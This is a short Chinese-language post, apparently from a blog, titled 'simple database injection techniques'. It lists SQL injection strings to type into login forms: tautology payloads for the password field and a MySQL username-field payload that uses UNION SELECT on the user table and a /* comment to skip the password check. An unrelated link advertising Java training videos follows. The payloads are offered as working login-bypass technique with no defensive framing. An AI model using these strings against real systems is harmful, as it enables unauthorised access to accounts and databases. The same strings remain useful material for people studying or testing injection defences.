简单的数据库注入技术

sql server 或 mysql 密码栏可以输入 ：                                        *' or 1='1

'or''=''or'

mysql  用户栏可输入 achun'  union select * from user;/*

因为msql 支持/* 注释，密码后面不起作用；

----------------------------------------------------------------------------------------------------------------------------------

 北京圣思园JAVA培训教学视频汇总

http://www.ed2000.com/ShowFile.asp?FileID=221694